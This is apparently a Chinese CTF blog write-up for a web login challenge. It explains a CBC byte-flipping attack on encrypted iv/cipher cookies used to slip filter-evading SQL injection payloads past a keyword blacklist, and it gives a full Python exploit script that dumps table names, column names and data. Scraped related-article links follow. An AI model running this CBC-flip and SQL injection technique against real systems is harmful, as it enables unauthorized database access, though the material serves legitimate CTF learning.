一、解题感受

这道题50分,在实验吧练习场算比较高分,而且通过率只有14%,比较低的水平。

看到这两个数据,一开始就心生惬意,实在不应该呀!

也是因为心态原因,在发现test.php之后,自以为在SQL注入时只要能截断后面的SQL语句,FLAG就在user里面,尝试了一段时间SQL注入都失败后,有些急躁,然后就早早拜读了pcat大神的攻略。。。

在攻略的帮助下,顺利完成题目。

所以本文主要是在pcat大神的指导下完成,放出来只是想分享一下历程和自我总结。

若有不正之处,还请路过的各位大神不吝指出。

二、事后复盘

心态很重要,关键是享受学习的过程,而不是追求结果,这样的心态才能不知不觉之间势如破竹,而一旦有了得失心,思绪就会被扰乱,进而急躁,就算能得到结果但其实是无用功。

因此,切记:无论是平时还是应试,要保持学习、平和的心态!!!

三、做题过程

1、审题目:《简单的登录》,没有暴露任何信息(有些题目可能透露一些加密算法名字之类)

2、看题型:Web,简单经典的登录框界面,情不自禁耍起了Web套路:看下源代码,无异常;御剑扫后台,让它扫着的同时继续尝试其他方法;用Burp截获报文,修改id为admin之类敏感字眼,提交表单,看服务器返回的信息,还是无异常;当还在尝试id变换不同敏感字眼时,发现服务器返回了一个tips: test.php;看来御剑也不用忙活了,直接进这个网页看看。

3、得到一大串代码,接下来就是代码审计了。

4、代码实现的流程

a、提交上来的id,先进行关键字的过滤,防止SQL注入,包括=、-、#、union、like、procedure等等,如果检测到这些敏感字符,则会直接die并返回显示Sql inject detected。

b、通过过滤的id,服务器会返回两个值:iv与cipher

iv:随机生成的16位值,再经过base64转码

cipher:id序列化、预设的SECRET_KEY(打码)、上面得到的iv值,三者经过aes-128-cbc加密得到cipher值

服务器把iv、cipher设置到cookie然后返回,顺便还显示了一个Hello!

c、如果Post给服务器的报文,没有包括id,而且cookie里有iv和cipher值,则进入函数show_homepage();

d、 show_homepage()大致过程:将iv、cipher经过base64解码,然后把预设的SECRET_KEY(打码)、iv、cipher经过aes-128-cbc解密,得到plain

e、如果plain无法反序列化,则die并返回plain的base64编码数据;如果可以序列化,则将id值拼接到sql语句中“select * from users limit .$info['id']  ,0”,并提交到数据库,返回数据,并附在返回的Hello后。

5、从代码分析可以看出关键就在于这个sql语句 “select * from users limit .$info['id'] ,0”

正常的话,无论id输入什么值,都会无功而返,因此只能构造进行sql注入,具体要实现两点:

a、注释掉后面“,0”

b、id=1,从而构造为“select * from users limit  1”

注释做了很多尝试,由于过滤了#、–,所以尝试用%00,用Burp Repeater尝试,将id=1 %00,post提交,然后用返回的iv、cipher值,作为第二次的cookie,然后去掉“id=”再次post,结果能返回Hello!rootzz

(现在写出来比较简单,但是当时在不少细节上进了坑,得细心点看源代码啊)

(另外,从源代码来看,第二次无id Post时,并没有直接传入id,但尽然能得到rootzz,从这可以猜测:此时的id由cipher值解密得到,为后续进一步工作奠定了基础)

6、居然不是flag,如果是flag多好啊,就这样美好的结束了,但也许幸福就是来之不易的吧

而且如果就这样能解决战斗的啊,还有一串代码的功能就毫无永无之地了,依据多年的考试经验,题目肯定不会这样出的,因此仔细分析源代码的逻辑,发现有个漏洞,虽然第一次提交id时,做了过滤,但是第二次提交iv和cipher值,是不会做过滤的,在这里跟pcat大神学习了,用cbc翻转一个字节进行攻击。具体如下:

a、提交能经过过滤检测的SQL语句,如id=12

b、结合得到的iv、cipher,用cbc字节翻转cipher对应id=12中2的字节,得到cipher_new,提交iv、cipher_new

c、第二次提交得到plain(如果忘了是啥可以往回看)

d、把iv、plain、‘id=12’序列第一行(16个字节为一行),进行异或操作,得到iv_new

e、把iv_new、cipher_new,去掉id=xx  post到服务器即可得到  id=1# 的结果,即Hello!rootzz

7、上一步成功达到偷梁换日的做法,下一步就是把id=12换成我们熟悉的SQL注入语句,在这里要注意的是:注释还是用%00,=用regexp代替,逗号用join代替,union用2nion代替,然后用cbc字节转换,把2换成u。值得注意的是cbc字节转换时的偏移量,最好自己写个php代码算一下前一行相应的位置。而具体代码完全参考pcat大神的做法,这里也贴出来,方便以后查看,再次感谢pcat,特别是在大神帖子留了几次问题,都能得到耐心的解答,谢谢!

四、源码分享

# -*- coding:utf8 -*-

from base64 import *

import urllib

import requests

import re

def denglu(payload,idx,c1,c2):

url=r’http://ctf5.shiyanbar.com/web/jiandan/index.php’

payload = {‘id’: payload}

r = requests.post(url, data=payload)

Set_Cookie=r.headers['Set-Cookie']

iv=re.findall(r”iv=(.*?),”, Set_Cookie)[0]

cipher=re.findall(r”cipher=(.*)”, Set_Cookie)[0]

iv_raw = b64decode(urllib.unquote(iv))

cipher_raw=b64decode(urllib.unquote(cipher))

lst=list(cipher_raw)

lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

cipher_new=”.join(lst)

cipher_new=urllib.quote(b64encode(cipher_new))

cookie_new={‘iv’: iv,’cipher’:cipher_new}

r = requests.post(url, cookies=cookie_new)

cont=r.content

plain = re.findall(r”base64_decode\(‘(.*?)’\)”, cont)[0]

plain = b64decode(plain)

first=’a:1:{s:2:”id”;s:’

iv_new=”

for i in range(16):

iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

iv_new = urllib.quote(b64encode(iv_new))

cookie_new = {‘iv’: iv_new, ‘cipher’: cipher_new}

r = requests.post(url, cookies=cookie_new)

rcont = r.content

print rcont

denglu(’12′,4,’2′,’#')

denglu(’0 2nion select * from((select 1)a join (select 2)b join (select 3)c);’+chr(0),6,’2′,’u')

denglu(’0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);’+chr(0),7,’2′,’u')

denglu(“0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp ‘you_want’)b join (select 3)c);”+chr(0),7,’2′,’u')

denglu(“0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);”+chr(0),6,’2′,’u')

关于CTF入门的一些简单题可以从网上找,在线教程的话推荐安全牛课堂的CTF从入门到提升,在校大学生可以申请学习。

一道简单的CTF登录题题解的更多相关文章

  1. 【图灵杯 F】一道简单的递推题(矩阵快速幂,乘法模板)

    Description 存在如下递推式: F(n+1)=A1*F(n)+A2*F(n-1)+-+An*F(1) F(n+2)=A1*F(n+1)+A2*F(n)+-+An*F(2) - 求第K项的值对 ...

  2. 一道简单的SQL注入题

    这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...

  3. 一道简单的广搜题:Knight Moves

    这本来是要用双向宽度搜索的,但是我用简单的广搜也成功了,L<=300,也不会超时?? 另外一个问题就是,我本来想用原来的代码交,结果80分??将边界条件从小于L改成小于等于L,就对了.我可能不会 ...

  4. 通过一道简单的例题了解Linux内核PWN

    写在前面 这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱.背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭.也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以 ...

  5. 又一道简单题&&Ladygod(两道思维水题)

    Ladygod Time Limit: 3000/1000MS (Java/Others)     Memory Limit: 65535/65535KB (Java/Others) Submit S ...

  6. 实验吧之【简单的登录题(】CBC字节反转攻击)

    开始刷ctf题吧  慢慢来. 实验吧---简单的登录题 题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php 随便提交一个id,看到后台set了两个 ...

  7. CSU 1785: 又一道简单题

    1785: 又一道简单题 Submit Page   Summary   Time Limit: 5 Sec     Memory Limit: 128 Mb     Submitted: 602   ...

  8. QDUOJ 一道简单的数据结构题 栈的使用(括号配对)

    一道简单的数据结构题 发布时间: 2017年6月3日 18:46   最后更新: 2017年6月3日 18:51   时间限制: 1000ms   内存限制: 128M 描述 如果插入“+”和“1”到 ...

  9. 10.8 wtx模拟题题解

    填坑 orz w_x_c_q w_x_c_q的模拟赛(150pts,炸了) money 题目背景: 王小呆又陷入自己的梦里.(活在梦里...) 题目描述: 王小呆是一个有梦想的小菜鸡,那就是赚好多好多 ...

随机推荐

  1. MongoDB学习(管理数据库和集合)

    管理数据库 显示数据库列表 show dbs 切换到其他数据库 use <database_name> 创建数据库 MongoDB没有提供显式的创建数据库的MongoDB shell命令. ...

  2. vue项目中获取cdn域名插件

    import axios from 'axios' let CdnPath = {} CdnPath.install = function (Vue, options) { Vue.prototype ...

  3. Android Studio教程04-Task和Back stack

    目录 1.Tasks and Back Stack 1.1. 当点击Back按钮返回到上一个Activity时发生了什么? 1.2. 点击HOME按钮 1.3.多次点击进入Activity-Back按 ...

  4. Oracle Sql 胡乱记

    /Oracle查询优化改写/ --1.coalesce 返回多个值中,第一个不为空的值 select coalesce('', '', 's') from dual; --2.order by --- ...

  5. 软件工程实践-WC项目之C实现

    1.Github项目地址 https://github.com/ShadowEvan/homework 基本功能 -c 统计文件字符数(实现) -w 统计文件词数(实现) -l  统计文件行数(实现) ...

  6. django 问题综合

    orm部分 本篇文章我会持续更新,把开发中遇到的一切orm相关的问题都放在这里 mysql索引报错 使用django 的orm,数据库用的mysql,在使用makemigrations和migrate ...

  7. Linux(CentOS7)yum安装卸载命令,离线下载安装包

    一.Linux版本 二.yum安装 比如安装vim编辑器,y是自动应答,即默认一路确认,不用中途确认 yum install -y vim 三.yum卸载 比如卸载掉刚刚安装的vim yum eras ...

  8. 我的第一个python web开发框架(37)——职位管理功能

    对于职位管理,我们可以理解它为角色权限的管理,就像前面所说的一样,有了职位管理,后台管理系统绑定好对应的权限以后,新进员工.离职或岗位调整,管理员操作起来就非常的便捷了,只需要重新绑定对应职位就可以做 ...

  9. scrapy 命令行基本用法

    1.创建一个新项目: scrapy startproject myproject 2.在新项目中创建一个新的spider文件: scrapy genspider mydomain mydomain.c ...

  10. Loj #3093. 「BJOI2019」光线

    Loj #3093. 「BJOI2019」光线 题目描述 当一束光打到一层玻璃上时,有一定比例的光会穿过这层玻璃,一定比例的光会被反射回去,剩下的光被玻璃吸收. 设对于任意 \(x\),有 \(x\t ...